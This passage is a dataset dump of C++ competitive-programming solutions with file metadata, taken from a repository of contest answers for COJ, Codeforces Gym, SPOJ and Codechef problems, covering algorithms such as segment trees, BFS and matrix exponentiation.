\"---------------------\\n\";\r\n\t}\r\n*/\r\n\tint lo = 1;\r\n\tint hi = n - 2;\r\n\tint ans = hi;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tvector <line> hps;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\thps.push_back(line(p[i], p[(i + mid + 1) % n]));\r\n\t\t}\r\n\t\tif (sgn(area(cross(hps))) == 0) {\r\n\t\t\tans = mid;\r\n\t\t\thi = mid - 1;\r\n\t\t} else {\r\n\t\t\tlo = mid + 1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.33639705181121826, "alphanum_fraction": 0.3639705777168274, "avg_line_length": 15.54838752746582, "blob_id": "e6712a0b9dfa9a46d5abe9a4d2b3e6d87875ee77", "content_id": "1f3f27cdf4f8b54649af69751c372611e37e18d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 544, "license_type": "no_license", "max_line_length": 34, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2975-Accepted-s645180.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n, p, a[5], id, b[5], idb;\r\n\r\nint main() {\r\n\twhile (cin >> n && n) {\r\n\t\tint x;\r\n\t\tcin >> x;\r\n\t\tp = x;\r\n\t\tid = 0;\r\n\t\tif (p > n / 2) p = n + 1 - p;\r\n\t\ta[id++] = p;\r\n\t\ta[id++] = n + 1 - p;\r\n\t\tif (p & 1) p++;\r\n\t\telse p--;\r\n\t\ta[id++] = p;\r\n\t\ta[id++] = n + 1 - p;\r\n\t\tsort(a, a + 4);\r\n\t\tidb = 0;\r\n\t\tfor (int i = 0; i < 4; i++)\r\n\t\t\tif (a[i] != x) b[idb++] = a[i];\r\n\t\tfor (int i = 0; i < 3; i++) {\r\n\t\t\tcout << b[i];\r\n\t\t\tif (i < 2) cout << ' ';\r\n\t\t\telse cout << '\\n';\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4665856659412384, "alphanum_fraction": 0.5018225908279419, "avg_line_length": 17.288888931274414, "blob_id": "ba811c9e14ffbf22232899f8753af148b2e9c7d3", "content_id": "1f8c5d1ff90a41e447077da4e733b7a50a013fc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 823, "license_type": "no_license", "max_line_length": 85, "num_lines": 45, "path": "/Codeforces-Gym/101669 - 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)\n// 101669G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ndouble solve(vector <pair <double, double> > & a) {\n double v = 0.0;\n double t = 0.0;\n double s = 0.0;\n\n for (auto p : a) {\n double ai = p.first;\n double ti = p.second;\n s += v * ti + ai * ti * ti / 2.0;\n v += ai * ti;\n t += ti;\n }\n\n return s;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n cout.precision(1);\n\n int n;\n cin >> n;\n\n vector <pair <double, double> > a(n);\n for (auto & p : a) {\n cin >> p.first >> p.second;\n }\n\n double s = solve(a);\n\n sort(a.begin(), a.end());\n reverse(a.begin(), a.end());\n\n double smax = solve(a);\n\n cout << fixed << smax - s << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4952380955219269, "alphanum_fraction": 0.5214285850524902, "avg_line_length": 15.872340202331543, "blob_id": "09ead5c7579268ac6b746cc37b891d88ec52f741", "content_id": "dd0859044efb87df26d900d6dd55172e0b2c7cff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 840, "license_type": "no_license", "max_line_length": 47, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p3659-Accepted-s959176.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef vector <int> bigNum;\r\n\r\nconst bigNum ONE = bigNum(1, 1);\r\n\r\nbigNum multiply(const bigNum &x, int k) {\r\n\tbigNum result;\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < x.size(); i++) {\r\n\t\tcarry += x[i] * k;\r\n\t\tresult.push_back(carry % 10);\r\n\t\tcarry /= 10;\r\n\t}\r\n\twhile (carry > 0) {\r\n\t\tresult.push_back(carry % 10);\r\n\t\tcarry /= 10;\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nvoid print(const bigNum &x) {\r\n\tfor (int i = x.size() - 1; i >= 0; i--) {\r\n\t\tcout << x[i];\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tconst int N = 40;\r\n\tvector <bigNum> factorial(N + 1);\r\n\tfactorial[0] = ONE;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfactorial[i] = multiply(factorial[i - 1], i);\r\n\t}\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tprint(factorial[n]);\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.396341472864151, "alphanum_fraction": 0.41158536076545715, "avg_line_length": 12.260869979858398, "blob_id": "a008ef342730f7811c6837fc26b5c249dcade06d", "content_id": "4305bdb18dcad9b98baff1397aac2c184555837e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 328, "license_type": "no_license", "max_line_length": 36, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1179-Accepted-s554914.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint cas,n,mx,mn,x;\r\n\r\nint main()\r\n{\r\n\tfor( scanf( \"%d\", &cas ); cas--; )\r\n\t{\r\n\t\tmx = -1;\r\n\t\tmn = 100;\r\n\r\n\t\tfor( scanf( \"%d\", &n ); n--; )\r\n\t\t{\r\n\t\t\tscanf( \"%d\", &x );\r\n\t\t\tmx = max( mx, x );\r\n\t\t\tmn = min( mn, x );\r\n\t\t}\r\n\r\n\t\tprintf( \"%d\\n\", ( mx - mn ) * 2 );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38860851526260376, "alphanum_fraction": 0.40591204166412354, "avg_line_length": 15.710843086242676, "blob_id": "9475fc842e85b6f0c400cd17217a5c96a472e303", "content_id": "ef861e6ab39a86afe65c659daa1f2acf8dc0db60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1387, "license_type": "no_license", "max_line_length": 51, "num_lines": 83, "path": "/SPOJ/ORDERSET.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 200005;\n \nint n;\nchar tipo[N];\nint val[N];\n \nint a[N], b[N];\nint cnt[N];\n \nint bit[N];\n \nvoid update(int p, int v) {\n\twhile (p <= n) {\n\t\tbit[p] += v;\n\t\tp += p & -p;\n\t}\n}\n \nint query(int p) {\n\tint res = 0;\n\twhile (p > 0) {\n\t\tres += bit[p];\n\t\tp -= p & -p;\n\t}\n\treturn res;\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> tipo[i] >> val[i];\n\t\ta[i] = val[i];\n\t}\n\tsort(a, a + n);\n\tint t = unique(a, a + n) - a; // numeros distintos\n\tfor (int i = 0; i < n; i++) {\n\t\tb[i] = upper_bound(a, a + t, val[i]) - a;\n\t}\n \n\tfor (int i = 0; i < n; i++) {\n\t\tif (tipo[i] == 'I') {\n\t\t\tif (cnt[b[i]] == 0) {\n\t\t\t\tupdate(b[i], 1);\n\t\t\t\tcnt[b[i]] = 1;\n\t\t\t}\n\t\t} else if (tipo[i] == 'D') {\n\t\t\tif (cnt[b[i]] == 1) {\n\t\t\t\tupdate(b[i], -1);\n\t\t\t\tcnt[b[i]] = 0;\n\t\t\t}\n\t\t} else if (tipo[i] == 'K') {\n\t\t\tint lo = 1;\n\t\t\tint hi = t;\n\t\t\tint k = val[i];\n\t\t\tif (query(n) < k) {\n\t\t\t\tcout << \"invalid\\n\";\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t//cout << query(n) << \" \";\n\t\t\tint r = hi;\n\t\t\twhile (lo <= hi) {\n\t\t\t\tint m = (lo + hi) >> 1;\n\t\t\t\tif (query(m) >= k) {\n\t\t\t\t\tr = m;\n\t\t\t\t\thi = m - 1;\n\t\t\t\t} else {\n\t\t\t\t\tlo = m + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << a[r - 1] << \"\\n\";\n\t\t} else if (tipo[i] == 'C') {\n\t\t\tcout << query(b[i] - 1) << \"\\n\";\n\t\t}\n\t\t//cout << \"t \" << i << \" \" << query(n) << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.39791834354400635, "alphanum_fraction": 0.43074458837509155, "avg_line_length": 15.434210777282715, "blob_id": "07a334ef692bd9a044859dc66e9751cc0fa5c968", "content_id": "665e7be7655950b3ad943b618ffe10fdc904a6af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1249, "license_type": "no_license", "max_line_length": 77, "num_lines": 76, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 10010;\n\nint cnt[MAXN];\nvector<int> g[MAXN];\n\nvoid dfs( int u, int p ){\n cnt[u] = 1;\n for( auto v : g[u] ){\n if( v != p ){\n dfs(v,u);\n cnt[u] += cnt[v];\n }\n }\n}\n\ntypedef pair<int,int> par;\n\npar sol;\nint n;\n\nvoid solve( int u, int p ){\n vector<int> cc;\n cc.push_back( n - cnt[u] );\n cc.push_back( 0 );\n\n for( auto v : g[u] ){\n if( p != v ){\n cc.push_back( cnt[v] );\n solve( v , u );\n }\n }\n\n sort( cc.begin() , cc.end() , greater<int>() );\n\n int tot = n-1;\n int n1 = 0;\n\n for( auto x : cc ){\n tot -= x;\n n1 += x * tot;\n }\n\n int n2 = n1 - cc[0] * cc[1];\n\n sol = max( sol , par( n1 , n2 ) );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int m; cin >> m;\n\n while( m-- ){\n int u, v; cin >> u >> v;\n\n g[u].push_back(v);\n g[v].push_back(u);\n\n n = max( n , max( u , v ) );\n }\n n++;\n\n dfs( 0 , -1 );\n solve( 0 , -1 );\n cout << sol.first << ' ' << sol.second << '\\n';\n}\n" }, { "alpha_fraction": 0.4082840383052826, "alphanum_fraction": 0.4334319531917572, "avg_line_length": 18.314285278320312, "blob_id": "5b3b6d5baaecbaa945a3552a38216d115b41a3fa", "content_id": "5dce3286d07a078a7ea6650808ac9ef1ce7acec3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2704, "license_type": "no_license", "max_line_length": 88, "num_lines": 140, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nstruct pii{\n int first;\n int second;\n int idx;\n bool operator < ( const pii &b ) const{\n return first < b.first;\n }\n\n};\nconst int maxn = 5100;\nconst int oo = 1<<30;\nint n, m;\npair<int,int> s[maxn];\nint p[maxn], r[maxn];\nvector<pii> v;\nvector<int> stree;\n\nint op( int a, int b ){\n if( a == -1 )\n return b;\n if( b == -1 )\n return a;\n if( v[a].second < v[ b ].second )\n return a;\n else\n return b;\n\n}\n\nvoid build( int nod, int l, int r ){\n if( l == r ){\n stree[nod] = l;\n return ;\n }\n\n int mid = (l+r)>>1;\n\n build( 2*nod, l, mid );\n build( 2*nod+1, mid+1, r );\n\n stree[nod] = op( stree[2*nod], stree[2*nod+1] );\n\n return ;\n}\n\nint query( int nod, int l, int r, const int& ql, const int& qr ){\n if( qr < l || ql > r )\n return -1;\n\n if( ql <= l && r <= qr ){\n return stree[nod];\n }\n\n int mid = ( l+r )>>1;\n\n int lo = query( 2*nod, l, mid, ql, qr ),\n hi = query( 2*nod+1, mid+1, r, ql, qr );\n\n return op( lo, hi );\n\n}\n\nvoid update( int nod, int l, int r, int &pos, int val ){\n if( l == r && l == pos ){\n v[pos].second = val;\n return ;\n }\n int mid = ( l+r ) >> 1;\n\n if( pos <= mid ){\n update( 2*nod, l,mid, pos, val );\n }\n else{\n update( 2*nod+1, mid+1, r, pos, val );\n }\n stree[nod] = op( stree[2*nod], stree[2*nod+1] );\n\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen( \"dat.txt\", \"r\", stdin );\n\n cin >> n >> m;\n\n for( int i = 0; i < n; i++ ){\n cin >> s[i].first;\n s[i].second = i;\n }\n for( int i = 0; i < m; i++ ){\n cin >> p[i];\n }\n for( int i = 0; i < m; i++ ){\n cin >> r[i];\n }\n\n sort( s, s+n );\n reverse( s ,s+n );\n\n v.push_back( (pii){0,0,0} );\n\n for( int i = 0; i < m; i++ ){\n v.push_back( (pii){p[i], r[i], i+1 } );\n }\n sort( v.begin(), v.end() );\n\n stree.resize( 4*maxn );\n build( 1, 1, m );\n\n bool ans_ok = true;\n vector<int> ans(n);\n for( int i = 0; i < n && ans_ok; i++ ){\n int lo = lower_bound( v.begin(), v.end(), (pii){ s[i].first,0,0 } ) - v.begin();\n\n int q = query( 1, 1, m, lo, m );\n if( q == -1 || v[q].second == oo )\n ans_ok = false;\n else{\n update( 1, 1, m, q, oo );\n ans[ s[i].second ] = v[q].idx ;\n }\n\n }\n if( ans_ok ){\n for( int i = 0; i < ans.size(); i++ ){\n cout << ans[i] << \" \\n\"[i+1==ans.size()];\n }\n }\n else\n cout << \"impossible\\n\";\n\n}\n" }, { "alpha_fraction": 0.30287474393844604, "alphanum_fraction": 0.3357289433479309, "avg_line_length": 23.9743595123291, "blob_id": "ee2d50a4749bddd4f85e8427866c24cc2393c514", "content_id": "28ce7544714650e63b2363579be23a79500b295c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1948, "license_type": "no_license", "max_line_length": 62, "num_lines": 78, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst int movx[] = { 1,0,-1,0 },\n movy[] = { 0,1, 0, -1 };\nint n,m;\n\nint d[1100][1100];\nchar mat[1100][1100];\nqueue< pair<int,int> > q;\nvoid bfs( int sx, int sy ){\n\n d[sx][sy] = 0;\n q.push( make_pair( sx,sy ) );\n\n while( !q.empty() ){\n int x = q.front().first,\n y = q.front().second;\n q.pop();\n\n for( int k = 0; k < 4; k++ ){\n int dx = x + movx[k],\n dy = y + movy[k];\n if( dx <0 || dy <0) continue;\n if( mat[dx][dy] != '#' && d[dx][dy] > d[x][y]+1 ){\n d[dx][dy] = d[x][y]+1;\n q.push( make_pair(dx,dy) );\n }\n\n }\n }\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint tc;\n\tcin >> tc;\n while( tc-- ){\n int stx=0,sty=0;\n cin >> n >> m;\n for( int i = 0; i < n; i++ ){\n cin >> mat[i];\n fill( d[i], d[i]+m+1, 1<<29 );\n for( int j = 0; j < m; j++ )\n if( mat[i][j] == 'E' ){\n stx = i;\n sty = j;\n }\n }\n //cout << \"asdasddasa\" << endl;\n bfs( stx, sty );\n //cout << \"asda\" << endl;\n int dmen = 1<<29, dfire = 1<<29;\n for( int i = 0; i < n; i++)\n for( int j = 0; j < m; j++ )\n if( mat[i][j] == 'S' ){\n dmen = min( dmen, d[i][j] );\n }\n else if( mat[i][j] == 'F' ){\n dfire = min( dfire, d[i][j] );\n }\n /*for( int i = 0; i < n; i++)\n for( int j = 0; j < m; j++ )\n cout << d[i][j] << \" \\n\"[j+1==m];*/\n if( dmen == 1<<29 )\n cout << \"N\";\n else if( dmen >= dfire )\n cout << \"N\";\n else\n cout << \"Y\";\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.3504452705383301, "alphanum_fraction": 0.38449451327323914, "avg_line_length": 21.987951278686523, "blob_id": "a8a10c8a3342d25a0f1a1aed29e6d7d01c1c99b6", "content_id": "3e934c0141e5866224573ce0f924e6b06f206722", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1909, "license_type": "no_license", "max_line_length": 68, "num_lines": 83, "path": "/Codechef/CHEFARC.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 105;\n\nint t;\nint n, m, k1, k2;\nint tab[N][N];\nint dist1[N][N];\nint dist2[N][N];\nbool visited[N][N];\nqueue <pair <int, int> > Q;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> m >> k1 >> k2;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = 0; j < m; j++) {\n\t\t\t\tcin >> tab[i][j];\n\t\t\t}\n\t\t}\n\t\tif (m == 1) {\n\t\t\tcout << \"0\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = 0; j < m; j++) {\n\t\t\t\tdist1[i][j] = dist2[i][j] = -1;\n\t\t\t}\n\t\t}\n\t\tdist1[0][0] = 0;\n\t\tQ.push(make_pair(0, 0));\n\t\twhile (!Q.empty()) {\n\t\t\tint x = Q.front().first;\n\t\t\tint y = Q.front().second;\n\t\t\tQ.pop();\n\t\t\tfor (int dx = -k1; dx <= k1; dx++) {\n\t\t\t\tfor (int dy = -(k1 - abs(dx)); dy <= (k1 - abs(dx)); dy++) {\n\t\t\t\t\tif (x + dx >= 0 && x + dx < n && y + dy >= 0 && y + dy < m) {\n\t\t\t\t\t\tif (tab[x + dx][y + dy] == 0 && dist1[x + dx][y + dy] == -1) {\n\t\t\t\t\t\t\tdist1[x + dx][y + dy] = dist1[x][y] + 1;\n\t\t\t\t\t\t\tQ.push(make_pair(x + dx, y + dy));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdist2[0][m - 1] = 0;\n\t\tQ.push(make_pair(0, m - 1));\n\t\twhile (!Q.empty()) {\n\t\t\tint x = Q.front().first;\n\t\t\tint y = Q.front().second;\n\t\t\tQ.pop();\n\t\t\tfor (int dx = -k2; dx <= k2; dx++) {\n\t\t\t\tfor (int dy = -(k2 - abs(dx)); dy <= (k2 - abs(dx)); dy++) {\n\t\t\t\t\tif (x + dx >= 0 && x + dx < n && y + dy >= 0 && y + dy < m) {\n\t\t\t\t\t\tif (tab[x + dx][y + dy] == 0 && dist2[x + dx][y + dy] == -1) {\n\t\t\t\t\t\t\tdist2[x + dx][y + dy] = dist2[x][y] + 1;\n\t\t\t\t\t\t\tQ.push(make_pair(x + dx, y + dy));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tint ans = -1;\n\t\tfor (int x = 0; x < n; x++) {\n\t\t\tfor (int y = 0; y < m; y++) {\n\t\t\t\tif (dist1[x][y] != -1 && dist2[x][y] != -1) {\n int tmp = max(dist1[x][y], dist2[x][y]);\n if (ans == -1 || ans > tmp) {\n ans = tmp;\n }\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3524390161037445, "alphanum_fraction": 0.40365853905677795, "avg_line_length": 17.069766998291016, "blob_id": "54b678a141a3830f3b3cd501e09ae4834edcbddd", "content_id": "218fe4bf1ce303c097065e2e384e0b4d577b284d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 820, "license_type": "no_license", "max_line_length": 73, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p1304-Accepted-s903985.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\ndouble p[25][25];\r\ndouble dp[(1 << 20) + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tcin >> p[i][j];\r\n\t\t\tp[i][j] /= 100.0;\r\n\t\t}\r\n\t}\r\n\tdp[0] = 1.0;\r\n\tfor (int mask = 0; mask < (1 << n) - 1; mask++) {\r\n\t\tint pos = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (mask & (1 << i)) {\r\n\t\t\t\tpos++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (!(mask & (1 << i))) {\r\n\t\t\t\tdp[mask | (1 << i)] = max(dp[mask | (1 << i)], dp[mask] * p[pos][i]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tdouble ans = dp[(1 << n) - 1] * 100.0;\r\n\tchar chans[20];\r\n\tsprintf(chans, \"%.10lf\", ans);\r\n\tint x = strlen(chans) - 10;\r\n\tfor (int i = 0; i < x + 3; i++) {\r\n\t\tcout << chans[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3777533173561096, "alphanum_fraction": 0.39867842197418213, "avg_line_length": 18.636363983154297, "blob_id": "fe089a7b160b10599028c8bd0b0cb4dc3ce9a219", "content_id": "a28f488f2b2bb97cc473ec266746840d468d356a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 908, "license_type": "no_license", "max_line_length": 76, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p3595-Accepted-s933346.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tcin >> n;\r\n\tvector <vector <int> > a(n + 5, vector <int>(n + 5, 0));\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tcin >> a[i][j];\r\n\t\t\ta[i][j] = 1 - a[i][j];\r\n\t\t\ta[i][j] = a[i][j] + a[i - 1][j] + a[i][j - 1] - a[i - 1][j - 1];\r\n\t\t}\r\n\t}\r\n\tlong long maxl = 0;\r\n\tlong long ans = 0;\r\n\tint lo = 1;\r\n\tint hi = n;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tbool ok = false;\r\n\t\tint ways = 0;\r\n\t\tfor (int i = mid; i <= n; i++) {\r\n\t\t\tfor (int j = mid; j <= n; j++) {\r\n\t\t\t\tint sum = a[i][j] - a[i][j - mid] - a[i - mid][j] + a[i - mid][j - mid];\r\n\t\t\t\tif (sum == 0) {\r\n\t\t\t\t\tok = true;\r\n\t\t\t\t\tways++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tmaxl = mid;\r\n\t\t\tans = (long long)maxl * ways;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4096612334251404, "alphanum_fraction": 0.4447929859161377, "avg_line_length": 16.113636016845703, "blob_id": "a33d57c5b14fc0d53de247658802c89be5b6515b", "content_id": "783124feef418837e38ded9cad195fd361257431", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1594, "license_type": "no_license", "max_line_length": 54, "num_lines": 88, "path": "/COJ/eliogovea-cojAC/eliogovea-p3703-Accepted-s967694.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int B = 7;\r\nconst int SIZE = (1 << B) + 5;\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nstruct matrix {\r\n\tint size;\r\n\tint values[SIZE][SIZE];\r\n\tmatrix(int _size, int v = 0) {\r\n\t\tsize = _size;\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tfor (int j = 0; j < size; j++) {\r\n\t\t\t\tvalues[i][j] = 0;\r\n\t\t\t}\r\n\t\t\tvalues[i][i] = v;\r\n\t\t}\r\n\t}\r\n\tint * operator [] (int x) {\r\n\t\treturn values[x];\r\n\t}\r\n\tconst int * operator [] (const int x) const {\r\n\t\treturn values[x];\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tint n = a.size;\r\n\tmatrix res(n, 0);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\tadd(res[i][j], mul(a[i][k], b[k][j]));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res(x.size, 1);\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, b;\r\n\tcin >> n >> b;\r\n\tmatrix M((1 << b) + 1, 0);\r\n\tM[0][0] = 1;\r\n\tfor (int d = 1; d < b; d++) {\r\n\t\tM[0][1 + (1 << d)] = 1;\r\n\t}\r\n\tfor (int mask1 = 0; mask1 < (1 << b); mask1++) {\r\n\t\tfor (int d = 0; d < b; d++) {\r\n\t\t\tint mask2 = mask1 ^ (1 << d);\r\n\t\t\tM[mask1 + 1][mask2 + 1]++;\r\n\t\t}\r\n\t}\r\n\tM = power(M, n);\r\n\tint ans = M[0][1];\r\n\tfor (int d = 0; d < b; d++) {\r\n\t\tadd(ans, M[0][1 + (1 << d)]);\r\n\t}\r\n\tadd(ans, 1);\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4602903425693512, "alphanum_fraction": 0.4756618142127991, "avg_line_length": 20.09433937072754, "blob_id": "1084d717a9af60bcc5978c45c4fa2743d4f4773c", "content_id": "9613f6a094935ea08e67d2d23a09aa5aa2dd33fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1171, "license_type": "no_license", "max_line_length": 69, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p1491-Accepted-s549588.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<algorithm>\r\n#include<map>\r\n#define MAXN 10\r\nusing namespace std;\r\n\r\nint v,p,c,s,t;\r\nint id,x,y;\r\ndouble d;\r\nmultimap<int,pair<double,pair<int,int> > > m;\r\nmultimap<int,pair<double,pair<int,int> > >::iterator it;\r\ndouble G[MAXN+5][MAXN+5];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d%d%d\",&v,&p,&c,&s,&t);\r\n\r\n\tfor(int i=1; i<=p; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d%lf\",&id,&x,&y,&d);\r\n\t\tm.insert(make_pair(id,make_pair(d,make_pair(x,y))));\r\n\t}\r\n\r\n\tfor(int i=1; i<=c; i++)\r\n\t{\r\n\t\tscanf(\"%d\",&id);\r\n\t\tm.erase(m.find(id));\r\n\t}\r\n\r\n\tfor(it=m.begin(); it!=m.end(); it++)\r\n\t{\r\n\t\tdouble dist=(it->second).first;\r\n\t\tint xx=(it->second).second.first;\r\n\t\tint yy=(it->second).second.second;\r\n\r\n\t\tif(G[xx][yy]>0.0)G[yy][xx]=G[xx][yy]=min(G[xx][yy],dist);\r\n\t\telse G[yy][xx]=G[xx][yy]=dist;\r\n\t}\r\n\r\n\tfor(int k=1; k<=v; k++)\r\n\t\tfor(int i=1; i<=v; i++)\r\n\t\t\tfor(int j=1; j<=v; 